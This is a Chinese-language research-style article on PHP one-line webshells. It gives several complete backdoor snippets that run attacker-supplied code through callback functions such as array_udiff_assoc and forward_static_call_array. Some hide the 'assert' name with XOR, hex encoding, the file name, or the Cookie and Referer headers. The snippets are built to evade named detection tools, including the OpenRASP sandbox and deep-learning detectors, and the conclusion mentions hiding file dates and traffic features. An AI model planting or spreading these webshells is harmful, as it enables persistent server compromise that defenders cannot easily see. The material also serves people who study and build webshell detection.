php一句话木马检测绕过研究
字数 1122 2025-08-29 08:32:18
PHP一句话木马检测绕过技术研究
0x00 前言
Webshell是指能够执行系统命令、加载代码的函数,或组合普通函数完成高级间谍功能的网站后门脚本。本文专注于PHP语言的Webshell检测工具和平台的绕过方法,目标是构造能够绕过7个主流专业工具和平台检测的PHP Webshell。
0x01 Webshell后门分类
- 单/少功能木马:完成写入文件、列目录、查看文件、执行系统命令等少量功能
- 逻辑木马:利用系统逻辑漏洞或构造特殊触发条件绕过访问控制
- 一句话木马:在服务器上执行PHP代码并与客户端(如菜刀、Cknife)交互
- 多功能木马:编写较多代码完成大量间谍功能的Webshell(大马)
一句话木马原理
- 客户端将PHP代码使用特殊参数名(密码)发送给服务端木马文件
- 木马脚本在服务器上执行发来的PHP代码
- 将执行结果回传给客户端展示
0x02 查杀现状研究
代码执行函数("函数机")
| 函数 | 说明 |
|---|---|
| eval | PHP 4,5,7+可用,将字符串作为PHP代码执行 |
| assert | PHP 4,5,7.2以下可用,可接受参数执行代码 |
| 正则匹配类 | preg_replace/mb_ereg_replace/preg_filter等 |
| 文件包含类 | include/include_once/require/require_once/file_get_contents等 |
传统字符串拆分、变形、进制转换等躲避方法效果已大大降低。
0x03 查找可做后门的回调函数
查找关键词:
- callable
- mixed $options
- handler
- callback
- invoke
0x04 绕过传统检测方法
示例1:使用array_udiff_assoc函数
<?php
$password = "LandGrey";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>
示例2:使用array_intersect_ukey函数
<?php
$password = "LandGrey";
$ch = explode(".", "hello.ass.world.er.t");
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch[1].$ch[3].$ch[4]);
?>
0x05 突破OpenRASP WebShell沙盒检测
方法1:利用重命名前后的脚本名不同
<?php
$password = "LandGrey";
${"LandGrey"} = substr(__FILE__, -5, -4)."class";
$f = $LandGrey ^ hex2bin("12101f040107");
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>
方法2:利用检测平台的信息缺失
<?php
$password = "LandGrey";
$key = substr(__FILE__, -5, -4);
${"LandGrey"} = $_SERVER["HTTP_ACCEPT"]."Land!";
$f = pack("H*", "13"."3f120b1655") ^ $LandGrey;
array_intersect_uassoc(array($_REQUEST[$password] => ""), array(1), $f);
?>
0x06 绕过深度学习技术的检测
示例1:利用Cookie值
<?php
$password = "LandGrey";
$ch = $_COOKIE["set-domain-name"];
array_intersect_ukey(array($_REQUEST[$password] => 1), array(1), $ch."ert");
?>
彩蛋:绕过几乎所有检测的方法
<?php
$password = "LandGrey";
$wx = substr($_SERVER["HTTP_REFERER"], -7, -4);
forward_static_call_array($wx."ert", array($_REQUEST[$password]));
?>
请求时设置Referer头以"ass****"结尾,如:Referer: http://www.target.com/ass.php
0x07 总结
- 传统检测技术对基于陌生回调函数构造的后门已失去效果
- 新型沙盒技术和深度学习检测平台还不够成熟稳定
- 脚本本身免杀只是第一步,实际应用中还需考虑创建日期、文件大小、通信特征等因素